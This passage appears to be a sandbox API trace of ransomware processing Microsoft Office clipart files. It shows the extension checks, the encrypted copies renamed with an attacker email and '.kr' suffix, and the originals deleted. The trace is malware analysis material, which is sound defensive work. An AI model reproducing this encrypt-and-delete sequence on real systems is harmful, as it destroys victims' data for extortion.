Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68 [0182.280] lstrlenW (lpString=".dbf") returned 4 [0182.280] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0182.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68 [0182.280] lstrlenW (lpString=".1cd") returned 4 [0182.280] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0182.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68 [0182.281] lstrlenW (lpString=".jpg") returned 4 [0182.281] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0182.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68 [0182.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68 [0182.282] lstrlenW (lpString=".doc") returned 4 [0182.282] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0182.282] lstrlenW (lpString=".docx") returned 5 [0182.282] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0182.282] lstrlenW (lpString=".pdf") returned 4 [0182.282] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0182.282] lstrlenW (lpString=".xls") returned 4 [0182.282] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0182.282] lstrlenW (lpString=".xlsx") returned 5 [0182.282] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0182.282] lstrlenW (lpString=".ppt") returned 4 [0182.282] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0182.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68 [0182.282] lstrlenW (lpString=".zip") returned 4 [0182.282] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0182.282] lstrlenW (lpString=".rar") returned 4 [0182.282] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0182.282] lstrlenW (lpString=".bz2") returned 4 [0182.282] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0182.282] lstrlenW (lpString=".7z") returned 3 [0182.282] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0182.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68 [0182.282] lstrlenW (lpString=".dbf") returned 4 [0182.282] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0182.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68 [0182.282] lstrlenW (lpString=".1cd") returned 4 [0182.282] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0182.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68 [0182.282] lstrlenW (lpString=".jpg") returned 4 [0182.282] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0182.283] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0182.283] lstrlenW (lpString="BL00648_.WMF") returned 12 [0182.283] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00648_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484 [0182.420] GetFileSizeEx (in: hFile=0x484, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=11500) returned 1 [0182.420] CloseHandle (hObject=0x484) returned 1 [0182.420] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00648_.wmf")) returned 0x220 [0182.424] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00648_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0182.425] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00648_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0182.425] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0182.425] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0182.425] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00648_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460 [0182.426] GetLastError () returned 0x0 [0182.426] ReadFile (in: hFile=0x3e8, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x2cec, lpOverlapped=0x0) returned 1 [0182.429] WriteFile (in: hFile=0x460, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x2cf0, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x2cf0, lpOverlapped=0x0) returned 1 [0182.431] ReadFile (in: hFile=0x3e8, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0182.431] WriteFile (in: hFile=0x460, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0182.431] SetEndOfFile (hFile=0x460) returned 1 [0182.431] CloseHandle (hObject=0x460) returned 1 [0182.431] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0182.431] SetEndOfFile (hFile=0x3e8) returned 1 [0182.434] CloseHandle (hObject=0x3e8) returned 1 [0182.434] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0182.434] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00648_.wmf")) returned 1 [0182.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0182.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0182.435] lstrlenW (lpString=".doc") returned 4 [0182.435] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0182.435] lstrlenW (lpString=".docx") returned 5 [0182.435] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0182.435] lstrlenW (lpString=".pdf") returned 4 [0182.435] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0182.435] lstrlenW (lpString=".xls") returned 4 [0182.435] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0182.435] lstrlenW (lpString=".xlsx") returned 5 [0182.435] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0182.435] lstrlenW (lpString=".ppt") returned 4 [0182.435] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0182.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0182.435] lstrlenW (lpString=".zip") returned 4 [0182.435] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0182.435] lstrlenW (lpString=".rar") returned 4 [0182.435] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0182.436] lstrlenW (lpString=".bz2") returned 4 [0182.436] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0182.436] lstrlenW (lpString=".7z") returned 3 [0182.436] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0182.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0182.436] lstrlenW (lpString=".dbf") returned 4 [0182.436] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0182.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0182.436] lstrlenW (lpString=".1cd") returned 4 [0182.436] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0182.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0182.436] lstrlenW (lpString=".jpg") returned 4 [0182.436] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0182.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0182.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0182.436] lstrlenW (lpString=".doc") returned 4 [0182.436] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0182.436] lstrlenW (lpString=".docx") returned 5 [0182.436] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0182.436] lstrlenW (lpString=".pdf") returned 4 [0182.436] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0182.436] lstrlenW (lpString=".xls") returned 4 [0182.436] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0182.436] lstrlenW (lpString=".xlsx") returned 5 [0182.436] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0182.436] lstrlenW (lpString=".ppt") returned 4 [0182.436] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0182.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0182.436] lstrlenW (lpString=".zip") returned 4 [0182.436] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0182.436] lstrlenW (lpString=".rar") returned 4 [0182.436] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0182.436] lstrlenW (lpString=".bz2") returned 4 [0182.437] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0182.437] lstrlenW (lpString=".7z") returned 3 [0182.437] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0182.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0182.437] lstrlenW (lpString=".dbf") returned 4 [0182.437] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0182.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0182.437] lstrlenW (lpString=".1cd") returned 4 [0182.437] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0182.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0182.437] lstrlenW (lpString=".jpg") returned 4 [0182.437] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0182.437] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0182.437] lstrlenW (lpString="BL00921_.WMF") returned 12 [0182.437] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00921_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0182.438] GetFileSizeEx (in: hFile=0x3e8, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=4408) returned 1 [0182.438] CloseHandle (hObject=0x3e8) returned 1 [0182.438] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00921_.wmf")) returned 0x220 [0182.438] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00921_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0182.438] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00921_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0182.438] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0182.439] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0182.439] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00921_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460 [0182.439] GetLastError () returned 0x0 [0182.439] ReadFile (in: hFile=0x3e8, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x1138, lpOverlapped=0x0) returned 1 [0182.443] WriteFile (in: hFile=0x460, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x1140, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x1140, lpOverlapped=0x0) returned 1 [0182.444] ReadFile (in: hFile=0x3e8, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0182.444] WriteFile (in: hFile=0x460, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0182.444] SetEndOfFile (hFile=0x460) returned 1 [0182.444] CloseHandle (hObject=0x460) returned 1 [0182.444] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0182.444] SetEndOfFile (hFile=0x3e8) returned 1 [0182.449] CloseHandle (hObject=0x3e8) returned 1 [0182.449] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0182.449] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00921_.wmf")) returned 1 [0182.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0182.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0182.450] lstrlenW (lpString=".doc") returned 4 [0182.450] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0182.450] lstrlenW (lpString=".docx") returned 5 [0182.450] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0182.450] lstrlenW (lpString=".pdf") returned 4 [0182.450] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0182.450] lstrlenW (lpString=".xls") returned 4 [0182.450] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0182.450] lstrlenW (lpString=".xlsx") returned 5 [0182.450] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0182.450] lstrlenW (lpString=".ppt") returned 4 [0182.450] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0182.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0182.450] lstrlenW (lpString=".zip") returned 4 [0182.450] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0182.450] lstrlenW (lpString=".rar") returned 4 [0182.450] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0182.450] lstrlenW (lpString=".bz2") returned 4 [0182.450] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0182.450] lstrlenW (lpString=".7z") returned 3 [0182.450] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0182.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0182.450] lstrlenW (lpString=".dbf") returned 4 [0182.450] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0182.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0182.450] lstrlenW (lpString=".1cd") returned 4 [0182.450] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0182.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0182.450] lstrlenW (lpString=".jpg") returned 4 [0182.450] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0182.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0182.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0182.451] lstrlenW (lpString=".doc") returned 4 [0182.451] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0182.451] lstrlenW (lpString=".docx") returned 5 [0182.451] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0182.451] lstrlenW (lpString=".pdf") returned 4 [0182.451] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0182.451] lstrlenW (lpString=".xls") returned 4 [0182.451] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0182.451] lstrlenW (lpString=".xlsx") returned 5 [0182.451] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0182.451] lstrlenW (lpString=".ppt") returned 4 [0182.451] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0182.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0182.451] lstrlenW (lpString=".zip") returned 4 [0182.451] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0182.451] lstrlenW (lpString=".rar") returned 4 [0182.451] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0182.451] lstrlenW (lpString=".bz2") returned 4 [0182.451] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0182.451] lstrlenW (lpString=".7z") returned 3 [0182.451] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0182.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0182.451] lstrlenW (lpString=".dbf") returned 4 [0182.451] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0182.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0182.451] lstrlenW (lpString=".1cd") returned 4 [0182.451] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0182.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0182.451] lstrlenW (lpString=".jpg") returned 4 [0182.451] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0182.452] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0182.452] lstrlenW (lpString="BL00923_.WMF") returned 12 [0182.452] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00923_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0182.452] GetFileSizeEx (in: hFile=0x3e8, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=6256) returned 1 [0182.452] CloseHandle (hObject=0x3e8) returned 1 [0182.452] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00923_.wmf")) returned 0x220 [0182.452] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00923_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0182.453] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00923_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0182.453] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0182.453] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0182.453] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00923_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484 [0182.454] GetLastError () returned 0x0 [0182.454] ReadFile (in: hFile=0x3e8, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x1870, lpOverlapped=0x0) returned 1 [0182.702] WriteFile (in: hFile=0x484, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x1880, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x1880, lpOverlapped=0x0) returned 1 [0182.703] ReadFile (in: hFile=0x3e8, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0182.704] WriteFile (in: hFile=0x484, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0182.704] SetEndOfFile (hFile=0x484) returned 1 [0182.704] CloseHandle (hObject=0x484) returned 1 [0182.704] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0182.704] SetEndOfFile (hFile=0x3e8) returned 1 [0182.707] CloseHandle (hObject=0x3e8) returned 1 [0182.707] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0182.878] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00923_.wmf")) returned 1 [0183.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0183.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0183.110] lstrlenW (lpString=".doc") returned 4 [0183.110] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0183.110] lstrlenW (lpString=".docx") returned 5 [0183.110] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0183.110] lstrlenW (lpString=".pdf") returned 4 [0183.110] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0183.110] lstrlenW (lpString=".xls") returned 4 [0183.110] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0183.110] lstrlenW (lpString=".xlsx") returned 5 [0183.110] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0183.110] lstrlenW (lpString=".ppt") returned 4 [0183.110] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0183.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0183.110] lstrlenW (lpString=".zip") returned 4 [0183.110] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0183.110] lstrlenW (lpString=".rar") returned 4 [0183.110] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0183.110] lstrlenW (lpString=".bz2") returned 4 [0183.110] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0183.110] lstrlenW (lpString=".7z") returned 3 [0183.110] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0183.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0183.111] lstrlenW (lpString=".dbf") returned 4 [0183.111] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0183.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0183.111] lstrlenW (lpString=".1cd") returned 4 [0183.111] lstrcmpiW 